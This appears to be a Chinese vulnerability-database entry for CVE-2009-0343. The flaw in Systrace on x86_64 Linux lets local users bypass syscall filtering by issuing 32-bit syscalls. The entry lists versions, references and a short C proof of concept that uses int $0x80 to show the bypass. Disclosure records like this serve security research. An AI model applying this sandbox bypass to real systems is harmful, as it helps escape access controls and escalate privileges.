Niels Provos Systrace 权限许可和访问控制漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117278 漏洞类型 权限许可和访问控制
发布时间 2009-01-23 更新时间 2009-01-29
CVE编号 CVE-2009-0343 CNNVD-ID CNNVD-200901-439
漏洞平台 Linux_x86-64 CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/32751
https://www.securityfocus.com/bid/79620
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-439
|漏洞详情
x86_64Linux平台上的NielsProvosSystrace1.6f及之前的版本允许本地用户通过制作一个带有syscall号码的32-bitsyscall,绕过设置的访问限制。32-bitsyscall与policy-compliant64-bitsyscall一致。这会在检测64-bit进程中导致竞争条件漏洞。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/33417/info

Systrace is prone to a local privilege-escalation vulnerability.

A local attacker may be able to exploit this issue to bypass access control restrictions and make unintended system calls, which may result in an elevation of privileges.

Versions prior to Systrace 1.6f are vulnerable.
*/

int
main(int argc, const char* argv[])
{
  /* Syscall 1 is exit on i386 but write on x86_64. */
  asm volatile("movl $1, %eax\n"
               "int $0x80\n");
  for (;;);
}
|受影响的产品
Niels Provos Systrace 1.2.2 Niels Provos Systrace 1.6e Niels Provos Systrace 1.6D Niels Provos Systrace 1.6C Niels Provos Systrace 1.6b Niels Provos Systrace 1.6A
|参考资料

来源:BID
名称:33417
链接:http://www.securityfocus.com/bid/33417
来源:BUGTRAQ
名称:20090123ProblemswithsyscallfilteringtechnologiesonLinux
链接:http://www.securityfocus.com/archive/1/archive/1/500377/100/0/threaded
来源:MISC
链接:http://www.citi.umich.edu/u/provos/systrace/
来源:MISC
链接:http://scarybeastsecurity.blogspot.com/2009/01/bypassing-syscall-filtering.html
来源:MISC
链接:http://scary.beasts.org/security/CESA-2009-001.html